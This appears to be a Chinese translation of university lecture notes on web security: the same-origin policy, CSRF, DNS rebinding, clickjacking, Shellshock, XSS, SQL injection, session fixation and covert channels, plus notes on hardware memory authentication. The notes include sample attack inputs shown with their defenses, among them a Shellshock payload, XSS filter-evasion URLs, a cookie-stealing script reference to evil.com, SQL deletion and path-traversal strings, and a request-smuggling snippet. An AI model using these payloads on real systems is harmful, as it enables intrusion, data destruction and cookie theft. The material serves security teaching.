  • 浏览器将 cookie 保存在客户端磁盘上(除了 cookie 过期、临时 cookie 等)。

  • 在生成 HTTP 请求时,浏览器会在请求中发送所有匹配的 cookie。

    • 仅为 HTTPS 请求发送安全 cookie。
  • JavaScript 代码可以访问与代码来源匹配的任何 cookie,但请注意,cookie 的路径和来源的端口将被忽略!

    • 协议很重要,因为 HTTP JavaScript 无法访问 HTTPS cookie(尽管 HTTPS JavaScript 可以访问两种类型的 cookie)。

    • 注意:还有http-only cookies,JS 代码无法直接访问。这些 cookie 只会随着匹配的 HTTP 请求由浏览器发送。

  • 问:为什么重要保护 cookie 免受任意覆写?

  • A:如果攻击者控制了一个 cookie,攻击者可以强制用户使用受攻击者控制的帐户!

    • 例如:通过控制 Gmail 的 cookie,攻击者可以重定向用户到一个受攻击者控制的帐户,并读取从该帐户发送的任何电子邮件。
  • 问:foo.co.uk 设置 cookie 的域为 co.uk 有效吗?

  • A:根据我们迄今讨论的规则,这是有效的,但实际上,我们应该禁止这样做,因为“.co.uk”在语义上类似于“.com”这样的单一“原子”域。

    • Mozilla 维护一个公共列表,允许浏览器确定顶级域的适当后缀规则。请参阅PublicSuffix

HTTP 响应:对同源策略有许多例外和半例外

  • XMLHttpRequests:默认情况下,JavaScript 只能向其来源服务器发送 XMLHttpRequests...除非远程服务器启用了跨域资源共享(CORS)。该方案定义了一些新的 HTTP 响应头:

    • Access-Control-Allow-Origin 指定哪些来源可以查看 HTTP 响应。

    • Access-Control-Allow-Credentials 指定浏览器是否应接受来自外部来源的 HTTP 请求中的 cookie。

  • 图片:一个框架可以从任何来源加载图像

    • ... 但它不能查看图像像素...

    • ... 但它可以确定图像的大小。

  • CSS:与图像类似--一个框架不能直接读取外部 CSS 文件的内容,但可以推断出一些属性。

  • JavaScript: 一个框架可以从任何来源加载 JavaScript,但它不能直接检查<script>标签/XMLHttpRequest 响应主体中的源代码,但所有 JavaScript 函数都有一个公共的toString()方法,可以显示源代码,页面的主服务器始终可以直接获取源代码然后传递给页面!

    • 为了防止逆向工程,许多网站都会对其 JavaScript 进行缩小和混淆。
  • 插件:一个框架可以运行来自任何来源的插件。

例子:

<embed src=...> //Requires plugin-specific  
                //elaborations. 

跨站点请求伪造攻击

请记住,当浏览器生成 HTTP 请求时,它会自动包含相关的 cookie。

如果攻击者让用户点击这样的 URL 会发生什么?* http://bank.com/xfer?amount=500&to=attacker

这种攻击被称为跨站点请求伪造(CSRF)。

  • 解决方案:在 URL 中包含一些对攻击者难以猜测的随机数据。例如:

    <form action="/transfer.cgi" ...>
        <input type="hidden"
               name="csrfToken"
               value="a6dbe323..."/> 
    
  • 每当用户请求页面时,服务器都会生成带有新随机令牌的 HTML。当用户提交请求时,服务器会在实际处理请求之前验证令牌。

  • 缺点:如果指向同一对象的每个 URL 都是唯一的,那么缓存该对象就会变得困难!

DNS 重绑定攻击

网络地址几乎都有一个来源。

  • 一个框架可以向与其来源匹配的主机+端口发送 HTTP HTTPS 请求。

  • 注意,同源策略的安全性取决于DNS 基础设施的完整性!

  • DNS 重绑定攻击

    • 目标: 攻击者希望以他不控制的来源(victim.com)的权限运行受攻击者控制的 JavaScript 代码。

    • 方法:

      1. 攻击者注册一个域名(例如,attacker.com)并创建一个 DNS 服务器来响应相关查询。

      2. 用户访问 attacker.com 网站,例如,通过点击广告。

      3. 攻击者网站希望下载一个对象,但首先,浏览器必须为 attacker.com 发出 DNS 请求。攻击者的 DNS 服务器会响应一个指向攻击者 IP 地址的 DNS 记录。然而,记录的生存时间很短

      4. 攻击者将 attacker.com 重新绑定到 victim.com 的 IP 地址。

      5. 一会儿,攻击者网站创建一个连接到 attacker.com 的 XMLHttpRequest。该请求实际上将被发送到 victim.com 的 IP 地址! 浏览器不会抱怨,因为它会重新验证 DNS 记录并看到新的绑定。

      6. 好吧,但是请求将不会携带正确的 cookie 给 victim.com,因为浏览器仍然认为它们正在与 attacker.com 交互,对吧?

      7. 那么 HTTP 请求中的Host:头部不会指示 attacker.com 吗,所以 victim.com 的 web 服务器可以拒绝请求。

      8. 攻击者页面现在可以窃取数据,例如,使用 CORS XMLHttpRequest 发送到攻击者域。

    • 解决方案:

      • 修改 DNS 解析器,使外部主机名永远不能解析为内部 IP 地址。

      • 浏览器可以固定 DNS 绑定,而不考虑其 TTL 设置。但是,这可能会破坏使用动态 DNS(例如,用于负载平衡)的 Web 应用程序。

屏幕上的像素怎么办?

  • 它们没有来源!框架可以在其边界框内的任何地方绘制。

  • 问题:父框架可以在其子框架的像素上方叠加内容。

    • 例如:攻击者创建了一个页面,上面有一个诱人的按钮,如“点击这里领取免费 iPad!”在该按钮上方,页面创建了一个包含 Facebook“赞”按钮的子框架。攻击者将该按钮放在“免费 iPad”按钮上方,但使其透明!因此,如果用户点击“免费 iPad”按钮,实际上会在 Facebook 上“赞”攻击者的页面。
  • 解决方案

    1. 防框架代码:包含阻止您的页面被包含为框架的 JavaScript:

      • if(top != self)
    2. 让你的网络服务器发送X-Frame-Options HTTP 响应头。这将指示浏览器不将您的内容放在子框架中。

那些没有来源的框架 URL 怎么办?例如:+ file://foo.txt + about:blank + javascript:document.cookie="x" 有时框架只能被具有该协议的其他框架访问(例如,file://)。[如果您正在调试一个站点并且想要混合使用 file://和 http://内容,这可能会很烦人]。有时框架对所有其他来源都是不可访问的(例如,“about:”)。有时来源是从创建 URL 的人那里继承的(例如,“javascript:”)。这可以防止攻击者.com 创建属于 victim.com 的框架,然后将 victim 框架导航到 javascript: URL--我们不希望 JavaScript 在 victim.com 的上下文中执行!

DNS 名称可以被用作攻击向量

  • IDN:国际化域名(非拉丁字母)。

  • 支持更多语言是好事,但现在,用户很难区分两个域名。

    • 例如:西里尔字母“C”字符看起来像拉丁字母“C”字符!因此,攻击者可以购买一个类似于“cats.com”的域名(带有西里尔字母“C”),并欺骗那些认为他们要访问“cats.com”(拉丁字母“C”)的用户。
  • 很好的例子说明了新功能如何破坏了安全假设。

    • 浏览器供应商认为注册商将禁止模糊名称。

    • 注册商认为浏览器供应商将更改浏览器以执行某些操作。

插件

通常具有略有不同的安全策略。

  • Java:有点使用同源策略,但 Java 代码可以设置 HTTP 头(不好!参见“Content-Length”讨论),在某些情况下,具有相同 IP 地址的不同主机名被认为共享相同的来源。

  • Flash:开发人员在其网络服务器上放置一个名为crossdomain.xml的文件。该文件指定哪些来源可以通过 Flash 与服务器通信。

HTML5 引入了一个新的屏幕共享 API:一旦用户授予权限,站点就可以捕获整个可见屏幕区域并将其传输回站点的来源。

  • 因此,如果攻击者页面能说服用户授予屏幕共享权限,攻击者页面可以打开一个到敏感站点(例如银行、Facebook、电子邮件)的 iframe,并捕获屏幕内容!

  • iframe 将发送 cookie,因此用户将自动登录,使攻击者能够查看“真实”信息,而不是无聊的登录页面内容。

  • 攻击者可以使 iframe 仅短暂闪烁,以防止用户注意到恶作剧。

  • 可能的防御措施:

    • 允许用户只共享 DOM 树的一部分?这似乎会很繁琐且容易出错。

    • 只允许一个来源从自己的来源中截取内容?这似乎是一个更合理的方法,尽管它阻止了混搭。

  • 更多讨论:攻击利用 HTML5 屏幕共享 API 的论文

结论

自从《混乱的网络》以来,对整体网络堆栈进行了各种修改和添加。

浏览器安全模型显然一团糟。它非常复杂,包含许多微妙和不一致之处。

  • Q: 为什么不从头开始重写安全模型?

  • A1: 向后兼容性!有大量现有的网络基础设施供人们依赖。

  • A2: 我们如何知道新的安全模型是否足够表达?用户通常不会接受为了增加安全性而减少功能。

  • A3: 任何安全模型都可能注定失败---也许所有流行的系统都注定会随着时间的推移积累大量功能。[例如:文字处理程序,智能手机。]

  • 更好的设计可能是什么样子?

    • 严格隔离大使馆---即使在本地,一切都是网络消息 [https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final85.pdf]

    • 不要让策略提取和执行依赖于复杂的解析规则(记住我们的消毒示例)

    • 只以小的、明确定义的量增加功能,最小化实现错误或解释错误的空间---消除歧义和猜测的需要。

网络安全,第二部分

注意: 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记稍作修改而来。

在上一讲中,我们看了一下网络的核心安全机制:同源策略。

在本讲座中,我们将继续探讨如何构建安全的网络应用程序。

“Shell shock”类似的利用

最近的“Shell Shock”漏洞是一个很好的例子,说明设计组合多种技术的网络服务是多么困难

网页客户端可以在其 HTTP 请求中包含额外的标头,并确定请求中的查询参数。例如:

GET /query.cgi?searchTerm=cats HTTP 1.1
Host: www.example.com
Custom-header: Custom-value 

CGI 服务器将 HTTP 请求的各个组件映射到 Unix 环境变量。

漏洞: Bash 在处理环境变量设置时存在解析错误!如果一个字符串以一组特定的格式不正确的字节开头,bash 将继续解析字符串的其余部分并执行找到的任何命令!例如,如果您将环境变量设置为这样的值...

() { :;};  /bin/id 

...将混淆 bash 解析器,并导致执行/bin/id命令(显示当前用户的 UID 和 GID 信息)。

实时演示:

Step 1: Run the CGI server.
  ./victimwebserver.py 8082

Step 2: Run the exploit script.
  ./shellshockclient.py localhost:8082 index.html 

更多信息:http://seclists.org/oss-sec/2014/q3/650

跨站脚本攻击(XSS 攻击)

Shell Shock 是一种由不当内容消毒引起的安全漏洞的特定实例。另一种内容消毒失败发生在跨站脚本攻击(XSS)期间。

例如:假设一个 CGI 脚本在生成的 HTML 中嵌入了一个查询字符串参数。

演示:

Step 1: Run the CGI server.
   ./cgiServer.py

Step 2: In browser, load these URLs:
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=hello
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<b>hello</b>
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<script>alert("XSS");</script>
           //The XSS attack doesn't work for this one . . .
           //we'll see why later in the lecture.

   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

           //This works! [At least on Chrome 37.0.2062.124.]
           //Even though the browser caught the
           //straightforward XSS injection, it
           //incorrectly parsed our intentionally
           //malformed HTML.
           // [For more examples of XSS exploits via
           //  malformed code, go here:
           //      https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
           // ] 

为什么跨站脚本攻击如此普遍?

  • 动态网站在 HTML 页面中包含用户内容(例如,评论部分)。

  • 网站托管上传的用户文档。

    • HTML 文档可以包含任意的 Javascript 代码!

    • 非 HTML 文档可能被浏览器识别为 HTML。

  • 不安全的 Javascript 程序可能直接执行来自外部方的代码(例如,eval(),setTimeout()等)。

XSS 防御

  • Chrome 和 IE 具有内置功能,使用启发式方法检测潜在的跨站脚本攻击

    • 例如:请求获取封闭页面的请求中是否包含即将执行的脚本?

      • http://foo.com?q=<script src="evil.com/cookieSteal.js"/>
    • 如果是这样,这是有力的证据表明即将发生可疑事件!上述攻击称为“反射型 XSS 攻击”,因为服务器“反射”或“返回”攻击者提供的代码到用户的浏览器中,在受害页面的上下文中执行。

      • 这就是为什么我们在 CGI 示例中的第一个 XSS 攻击失败了--浏览器检测到 URL 中反射的 JavaScript,并在到达 CGI 服务器之前删除了末尾的</script>

      • 然而...

    • 过滤器并不具有 100%的覆盖率,因为有许多编码 XSS 攻击的方式![https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]

      • 这就是为什么我们的第二个 XSS 攻击成功了---浏览器被我们故意格式不正确的 HTML 搞糊涂了。
    • 问题:过滤器无法捕获持久性 XSS 攻击,在这种攻击中,服务器保存了攻击者提供的数据,然后永久分发给客户端。

      • 经典例子:一个允许用户发布 HTML 消息的 "评论" 部分。

      • 另一个例子:假设一个约会网站允许用户在他们的个人资料中包含 HTML。攻击者可以添加 HTML,当用户查看攻击者的个人资料时,会在不同的用户浏览器中运行!攻击者可以窃取用户的 cookie。

  • 另一个 XSS 防御:"httponly" cookies.

    • 服务器可以告诉浏览器,客户端 JavaScript 不应该能够访问 cookie。[服务器通过在 "Set-Cookie" HTTP 响应值中添加 "HttpOnly" 令牌来实现这一点。]

    • 这只是部分防御,因为攻击者仍然可以发出包含用户 cookie 的请求(CSRF)。

  • 特权分离: 使用一个单独的域来存放不受信任的内容。

    • 例如,Google 将不受信任的内容存储在 googleusercontent.com 中(例如,页面的缓存副本,Gmail 附件)。

    • 即使在不受信任的内容中可能存在 XSS,攻击者的代码也会在不同的来源中运行。

    • 如果 googleusercontent.com 中的内容指向 google.com 中的 URL,则仍可能存在问题。

  • 内容消毒: 将不受信任的内容编码,以限制其解释方式。

    • 例如:Django 模板: 将输出页面定义为一堆 HTML,其中有一些 "孔" 可以插入外部内容。

    • 一个模板可能包含这样的代码...

      • <b>你好 {{ name }} </b>
    • ... 其中 "name" 是一个变量,在页面被 Django 模板引擎处理时被解析。该引擎将获取 "name" 的值(例如,从用户提供的 HTTP 查询字符串中),然后自动转义危险字符。例如,

      • 尖括号 <> --> &lt;&gt;

      • 双引号 " --> &quot;

    • 这可以防止不受信任的内容将 HTML 注入到渲染页面中。

    • 模板不能防御所有攻击!例如...

      • <div class={{ var }}>...</div>

      • 如果 var 等于 class1 onmouseover=javascript:func()

      • ... 那么根据浏览器解析格式不正确的 HTML 的方式,可能会发生 XSS 攻击。

    • 因此,内容消毒有点奏效,但解析 HTML 的方式非常难以明确。

    • 可能更好的方法:完全禁止外部提供的 HTML,并强制外部内容用一种更小的语言表达(例如,Markdown)。

      • 经过验证的 Markdown 可以被转换为 HTML。
  • 内容安全策略(CSP): 允许 Web 服务器告诉浏览器可以加载哪种资源,以及这些资源的允许来源。

    • 服务器指定一个或多个类型为Content-Security-Policy的头部。

      Content-Security-Policy: default-src 'self' *.mydomain.com
      // Only allow content from the page's domain
      // and its subdomains. 
      
    • 您可以为图像来源、脚本来源、框架、插件等指定单独的策略。

    • CSP 还防止内联 JavaScript,以及像eval()这样允许动态生成 JavaScript 的 JavaScript 接口。

  • 一些浏览器允许服务器禁用内容类型嗅探(X-Content-Type-Options: nosniff)。

SQL 注入攻击

  • 假设应用程序需要根据用户输入发出 SQL 查询:

    • query = "SELECT * FROM table WHERE userid=" + userid
  • 问题:对手可以提供改变 SQL 查询结构的userid,例如,

    • "0; DELETE FROM table;"
  • 如果我们在 userid 周围添加引号会怎样?

    • query = "SELECT * FROM table WHERE userid='" + userid + "'"
  • 漏洞仍然存在!攻击者可以在userid的第一个字节前添加另一个引号。

  • 真正的解决方案:明确地对数据进行编码。

    • 例如:用'替换'等。

    • SQL 库提供转义函数。

  • Django 定义了一个查询抽象层,位于 SQL 之上,允许应用程序避免编写原始 SQL(尽管如果他们真的想要,也可以这样做)。

  • (可能是假的)德国车牌上写着“;DROP TABLE”,以避免使用 OCR+SQL 的超速摄像头提取车牌号。

如果不受信任的实体可以提供文件名,也会遇到问题。

  • 例如:假设一个 Web 服务器根据用户提供的参数读取文件。

    • open("/www/images/" + filename) 问题:文件名可能是这样的:

    • ../../../../../etc/passwd

  • 与 SQL 注入一样,服务器必须对用户输入进行清理:服务器必须拒绝带有斜杠的文件名,或以某种方式对斜杠进行编码。

Django

  • 颇受欢迎的 Web 框架,被一些大型网站如 Instagram、Mozilla 和 Pinterest 使用。

    • “Web 框架”是一个提供基础设施的软件系统,用于诸如数据库访问、会话管理和创建可在整个站点中使用的模板内容的任务。

    • 其他框架更受欢迎:PHP、Ruby on Rails。

    • 在企业世界中,Java servlets 和 ASP 也被广泛使用。

  • Django 开发人员在安全方面进行了一定程度的思考。

    • 因此,Django 是一个很好的案例研究,可以看到人们如何在实践中实现 Web 安全。
  • Django 在安全方面可能比一些替代方案如 PHP 或 Ruby on Rails 更好,但细节决定成败。

    • 正如我们将在两次讲座后讨论的那样,研究人员发明了一些提供明显更好安全性的框架。[Ur/Web:http://www.impredicative.com/ur/]

会话管理:cookie

Web 上客户端身份验证的 Do's 和 Don'ts

Zoobar、Django 和许多 Web 框架在 cookie 中放入一个随机会话 ID

  • 会话 ID 指的是 Web 服务器上某个会话表中的条目。该条目存储了一堆每个用户的信息。

  • 会话 cookie 是敏感的:对手可以使用它们来冒充用户!

    • 正如我们在上一堂课上讨论的,同源策略有助于保护 cookie……

    • …但是不应该与您不信任的站点共享域!否则,这些站点可能发起会话固定攻击:

      1. Wikipedia, 会话固定上了解更多信息。

      2. 攻击者让受害者访问一个链接或一个设置攻击者指定的会话 ID 在受害者 cookie 中的网站。

      3. 攻击者可以利用接受来自查询字符串的任何会话标识符的服务器,并给受害者一个类似lol.com/?PHPSID=abcd的 URL。

        • 会话 ID 可以由攻击者选择或在攻击者登录时由服务器返回。
      4. 或者,攻击者可以利用浏览器漏洞,允许a.example.comb.example.com设置 cookie。攻击者让受害者访问他的网站b.website.com,为受害者的a.website.com设置 cookie。

      5. 用户导航到受害者网站;攻击者选择的会话 ID 被发送到服务器并用于识别用户的会话条目。

      6. 后来,攻击者可以使用攻击者选择的会话 ID 导航到受害者网站,并访问用户的状态!

      7. 这里有一个很大的假设。这种攻击只对没有注意到他们登录的账户不是自己的无知受害者有效。

  • 嗯,但是如果我们不想为每个已登录用户保留服务器端状态怎么办?

  • 如果您没有会话的概念,那么您需要对每个请求进行身份验证!

    • 想法: 使用密码学验证 cookie。

    • 原语:消息认证码(MACs)

      • 将其视为一个带有密钥的哈希,例如,HMAC-SHA1: H(k, m)

      • 客户端和服务器共享一个密钥;客户端使用密钥生成消息,服务器使用密钥验证消息。

    • AWS S3 REST 服务使用这种类型的 cookie:REST Authentication

      • 亚马逊为每个开发者提供一个 AWS 访问密钥 ID 和一个 AWS 秘密密钥。每个请求看起来像这样:

         GET /photos/cat.jpg HTTP/1.1
         Host: johndoe.s3.amazonaws.com
         Date: Mon, 26 Mar 2007 19:37:58 +0000
         Authorization: AWS AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=
                          |___________________| |________________________|
                              Access key ID            MAC signature 
        
      • 这是签名的内容(这里稍微简化了,查看上面的链接获取完整故事):

         StringToSign = 
              HTTP-Verb     + "\n" +
              Content-MD5   + "\n" +
              Content-Type  + "\n" +
              Date          + "\n" +
              ResourceName 
        
    • 请注意,这种类型的 cookie 不会在传统意义上过期(尽管如果亚马逊已经撤销用户的密钥,服务器将拒绝请求)。

      • 您可以在特定请求中嵌入一个“过期”字段,然后将该 URL 交给第三方,如果第三方等待时间过长,AWS 将拒绝请求并标记为过期。

         AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Signature=vjbyPxybd...
                                           |__________________|
                                          Included in the string
                                          that's covered by the
                                          signature! 
        
    • 请注意,用于字符串到哈希的格式应提供明确的解析!

      • 例如:不应允许任何组件嵌入转义字符,否则服务器端解析器可能会混淆。
  • 问: 如何使用这种类型的 cookie 设计注销?答: 如果服务器是无状态的(关闭会话将需要一个服务器端的撤销 cookie 表),那是不可能的。

    • 如果服务器可以保持状态,会话 ID 会使这变得更简单。

    • 在减少服务器端内存状态和增加服务器端加密计算开销之间存在根本的权衡。

  • 使用HTML5 本地存储,并在 Javascript 中实现自己的身份验证。

    • 一些 Web 框架像 Meteor 这样做。

    • 优势:cookie 不会通过网络发送到服务器。

    • 优势:您的身份验证方案不受复杂的同源策略对 cookie 的限制(例如,DOM 存储绑定到单个源,而 cookie 可以绑定到多个子域)。

  • 客户端 X.509 证书。

    • 优势:Web 应用程序无法窃取或明确操纵彼此的证书。

    • 缺点:对吊销的故事说法不够强(我们将在未来的讲座中更多地讨论这个问题)。

    • 缺点:用户不想为访问的每个站点管理证书,使用体验差!

    • 利弊:没有会话的概念,因为证书是"始终开启"的。对于重要操作,应用程序将不得不提示输入密码。

HTTP 协议模糊性

Web 栈存在一些协议模糊性,可能导致安全漏洞。

  • 来自 XMLHttpRequest 的 HTTP 标头注入

    • Javascript 可以要求浏览器在请求中添加额外的标头。那么,如果我们这样做会发生什么呢?

       var x = new XMLHttpRequest();
       x.open("GET", "http://foo.com");
       x.setRequestHeader("Content-Length", "7");
      
       // Overrides the browser-computed field!
       x.send("Gotcha!\r\n" +
       "GET /something.html HTTP/1.1\r\n" +
       "Host: bar.com"); 
      
    • 服务器在 foo.com 上可能会将其解释为两个单独的请求!稍后,当浏览器接收到第二个请求时,它可能会用来自 foo.com 的内容覆盖属于 bar.com 的缓存条目!

    • 解决方案:防止 XMLHttpRequest 设置敏感字段如 Host:Content-Length

    • 要点:明确的编码至关重要!构建可靠的转义/编码!

  • URL 解析("The Tangled Web" 第 154 页)

    • Flash 的 URL 解析器与浏览器略有不同。

    • 假设 URL 是 http://example.com:80@foo.com/

      • Flash 会将来源计算为 "example.com"。

      • 浏览器会将来源计算为 "foo.com"。

    • 不好的主意:复杂的解析规则只是为了确定主体。

    • 不好的主意:重新实现复杂的解析代码。

  • 这是一个滑稽/可怕的发起攻击的方式,使用存储在 .jar 格式中的 Java applet。

    • 2007 年,Lifehacker.com 发布了一篇文章,描述了如何将 .zip 文件隐藏在 .gif 文件中。

      • 利用图像渲染器自上而下处理文件的事实,而 .zip 文件的解压缩器通常从末尾开始向上移动。

      • 攻击者意识到 .jar 文件基于 .zip 格式!

      • 因此 GIFAR 诞生了:一半 gif,一半 jar,全是邪恶。

      • 制作 GIFAR 非常简单:只需在 Linux 上使用 "cat" 或在 Windows 上使用 "cp"。

      • 假设 target.com 仅允许外部方上传图像对象。攻击者可以上传一个 GIFAR,而该 GIFAR 将通过 target.com 的图像验证测试!

      • 然后,如果攻击者能够发起 XSS 攻击,攻击者可以注入引用 ".gif" 的 HTML 作为 applet。

         <applet code="attacker.class"
                archive="attacker.gif"
                ...> 
        
      • 浏览器将加载该小程序并赋予其 target.com 的权限!

隐蔽信道攻击

Web 应用程序也容易受到隐蔽信道攻击的影响。

  • 隐蔽信道 是一种机制,允许两个应用程序交换信息,即使安全模型禁止这些应用程序通信。

    • 该信道是“隐蔽”的,因为它不使用官方的跨应用程序通信机制。
  • 示例 #1:基于 CSS 的嗅探攻击

    • 攻击者有一个可以说服用户访问的网站。

    • 攻击者目标: 弄清楚用户访问过的其他网站(例如,确定用户的政治观点、医疗历史等)。

    • 利用向量: 网页浏览器使用不同的颜色来显示已访问与未访问的链接!因此,攻击页面可以生成一个候选 URL 的大列表,然后检查颜色以查看用户是否访问过其中任何一个。

      • 每秒可以检查数千个 URL!

      • 可以先广度优先,找到顶级域的命中,然后对每个命中进行深度优先。

    • 修复: 强制 getComputedStyle() 和相关的 JavaScript 接口始终表示链接未访问。[https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/]

  • 示例 #2:基于缓存的攻击

    • 攻击者的设置和目标与以前相同。

    • 利用向量: 浏览器访问缓存的数据比通过网络获取数据要快得多。因此,攻击页面可以生成候选图像列表,尝试加载它们,并查看哪些加载速度快!

    • 如果候选图像来自地理特定图像,例如 Google 地图瓦片,此攻击可以揭示您的位置。[http://w2spconf.com/2014/papers/geo_inference.pdf]

    • 修复: 没有好的方法。一个页面永远不会缓存对象,但这会影响性能。但是,假设一个站点不缓存任何内容。那么它是否免受历史嗅探的影响?不是!

  • 示例 #3:基于 DNS 的攻击

    • 攻击者的设置和目标与以前相同。

    • 利用向量: 攻击页面生成对各个域中对象的引用。如果用户已经访问过该域中的对象,主机名将已经存在于 DNS 缓存中,使得后续对象访问更快![http://sip.cs.princeton.edu/pub/webtiming.pdf]

    • 修复: 没有好的方法。可以使用原始 IP 地址作为链接,但这会破坏很多东西(例如,基于 DNS 的负载平衡)。但是,假设一个站点不缓存任何内容并使用原始 IP 地址作为主机名,那么它是否免受历史嗅探的影响?不是!

  • 示例 #4:渲染攻击。

    • 攻击者的设置和目标与以前相同。

    • 利用向量: 攻击者页面在 iframe 中加载一个候选 URL。在浏览器获取内容之前,攻击者页面可以访问... window.frames[1].location.href ...并读取攻击者设置的值。然而,一旦浏览器获取了内容,访问该引用将由于同源策略而返回“未定义”。因此,攻击者可以轮询该值并查看变为“未定义”需要多长时间。如果需要很长时间,那么页面必定没有被缓存![http://lcamtuf.coredump.cx/cachetime/firefox.html]

    • 修复: 停止使用计算机?

一个网页也需要安全地使用 postMessage()。

  • 来自不同来源的两个框架可以使用 postMessage()异步交换不可变字符串。

    • 发送方获取一个窗口对象的引用,并执行以下操作:window.postMessage(msg, origin);

    • 接收方为特殊的“消息”事件定义事件处理程序。事件处理程序接收消息和来源。

  • Q: 接收方为什么要检查接收到的消息的来源?

  • A: 为了对发送方执行访问控制!如果接收方实现了敏感功能,它不应该响应来自任意来源的请求。

    • 常见错误: 接收方使用正则表达式来检查发送方的来源。

    • 即使来源匹配 /.foo.com/,也不意味着它来自 foo.com!可能是"xfoo.com",或者"www.foo.com.bar.com"。

  • Q: 为什么发送方必须指定接收方的预期来源?

  • A: postMessage()应用于窗口,而不是来源。

    • 请记住,攻击者可能能够将窗口导航到不同的位置。

    • 如果攻击者导航窗口,另一个来源可能会接收消息!

    • 如果发送方明确指定目标来源,浏览器在传递消息之前会检查接收方的来源。

构建安全 Web 应用程序还有许多其他方面。

  • 例如:确保服务器端操作的适当访问控制。

    • Django 提供 Python 装饰器来检查访问控制规则。
  • 例如:维护日志以进行审计,防止攻击者修改日志。

内存认证(Marten van Dijk 的笔记)

阅读: R. Elbaz, D. Champagne, C. Gebotys, R.B. Lee, N. Potlapally 和 L. Torres, "内存认证的硬件机制:现有技术和引擎综述", 计算机科学交易, pp. 1-22, 2009.

模型(假设、安全需求、可能的攻击):

什么是内存认证?验证处理器从给定地址读取的数据是否是它最后写入该地址的数据。

为什么需要内存认证?能够破坏内存空间的对手可以影响受信任计算平台执行的计算。假设:提供包括内存在内的防篡改环境成本太高。受信任的计算平台是具有有限片上存储的单芯片安全处理器。它对所有物理攻击具有抵抗力,包括侵入性攻击。每当敏感计算完成时,需要验证计算过程中片外内存操作序列的真实性。请注意,根据应用程序的不同,这可能会经常发生,或者有时发生。这导致不同的认证策略(基于树或非基于树)。

有一个对所有物理攻击具有抵抗力的单芯片处理器是现实的吗?可能只有对成本不太高的所有物理攻击具有抵抗力是可以接受的。这排除了由普通黑客执行的攻击。我们不试图防范由有权访问昂贵实验室的工程师执行的攻击。所需的安全性(及其成本)是业务模型的一部分。

数据完整性指的是检测任何对数据的敌对破坏或篡改的能力。它与内存认证有什么关系?内存认证意味着数据完整性。

内存认证的目标是防范篡改片外内存内容的主动攻击。这些主动攻击是什么?欺骗:现有内存块被替换为任意伪造的内存块。拼接/重定位:将地址 A 处的内存块替换为地址 B 处的内存块。重放:在给定地址处记录的内存块在以后的某个时间点插入到同一地址处。

什么是软件攻击?软件攻击是由受损操作系统或恶意应用程序执行的主动攻击。即使操作系统内核被设计为将敏感应用程序与恶意软件隔离,我们也不能信任操作系统。目前,我们不会考虑软件攻击。

还有哪些安全需求值得关注?访问控制;应用程序不应能够访问彼此的特定数据。数据保密性;加密敏感数据以确保隐私。

为什么这些需求还不够?攻击者可能操纵加密数据。因此,我们还需要内存认证。

加密敏感数据是否真的确保隐私?内存访问模式的相关性如何?这可能泄露有关应用程序性质以及与其共享内存的其他应用程序之间的关系的信息。

解决方案(基于树的解决方案和非基于树的解决方案):

内存认证的一个天真解决方案是什么?在芯片存储器中存储整个内存的摘要。不可接受。

下一个最佳解决方案是什么?存储每个内存块(缓存块)的摘要,参见图 3(a)。减少内存带宽开销,但需要太多(昂贵)的芯片内存。

什么是稍微更好的解决方案?在芯片内存上使用随机数成本更低,参见图 3(b)。如果随机数生成器超出范围,需要重置密钥 k 并更新所有内存(这可以在空闲时间完成)。随机数生成器需要输出唯一的随机数吗?不同地址的随机数需要不同吗?不需要,如果我们将每个 MAC 计算为密钥 k、随机数 N 和地址 A 的函数。因此,我们可以使用较小的随机数,从而减少芯片内存。当特定地址的较小随机数用尽时,该地址在重置密钥 k 之前无法使用。如果我们使用 16 位的较小随机数,可以使用随机随机数吗?不可以,以 1/2¹⁶ 的概率会导致冲突,可能会导致攻击。我们需要确定性随机数:对于每次更新,只需将相应的随机数递增 1。

如何添加数据保密性?将 MAC 替换为加密 E,参见图 3(c)。

什么技巧可以改进当前的解决方案?具有哈希(Merkle 树)、MAC + 随机数或 E + 随机数的完整性树。参见图 5。它是如何工作的?Merkle 树更新过程是顺序的:在更新下一个分支节点之前,必须完成分支中新哈希节点的计算。PAT 读取和更新过程是可并行化的,它是如何工作的?一个中间节点存储其子节点中存储的随机数的 MAC,这些都是事先已知的。中间节点不存储其子节点中存储的 MAC 的 MAC(这将类似于 Merkle 树)。TEC-Tree 使用加密,不存储随机数。在更新期间如何检索随机数?使用解密。读取和更新的混合是否可并行化?不可以。

我们如何找到父节点的地址?使用树遍历,导致(公式 1)。

如何利用缓存以提高性能?树读取和更新过程在遇到缓存的哈希或根时终止。

什么是盆景 Merkle 树?使用许多使用计数器/随机数的较小树。存储它们的根。使用特殊树保护计数器,并存储其中间节点和叶子。参见图 6。注意声明“每次本地计数器翻转时都需要对整个页面进行加密处理”。不要担心此方法的细节。只需注意与我们在图 3(b)中呈现的解决方案的讨论的相似性。

如果操作系统不可信,我们需要做什么?构建一个完整性树,仅覆盖属于应用程序的页面,并且只能在应用程序本身运行时更新。页表将页面的虚拟地址映射到其物理地址。分支接种攻击会破坏与给定内存块的虚拟地址对应的物理地址,参见图 7。因此,我们需要在虚拟地址空间上构建一棵树。受保护应用程序生成的虚拟地址用于遍历树。存在哪些缺点?不可扩展:需要大量的内存容量(为初始化期间定义的 2⁶⁴ 字节叶节点的物理页框分配,以及为非叶树节点分配内存),以及大量的初始化开销(初始化这样的树需要太长时间)。我们还需要为每个需要保护的应用程序引入一个完整的树,而不是一个单独的树来保护物理内存中的所有软件。我们如何尝试部分克服这些问题?引入一个新的硬件单元,在一个缩小的地址空间上构建一个完整性树,该空间仅包含应用程序执行所需的页面(随着应用程序内存占用的增加而动态增长)。

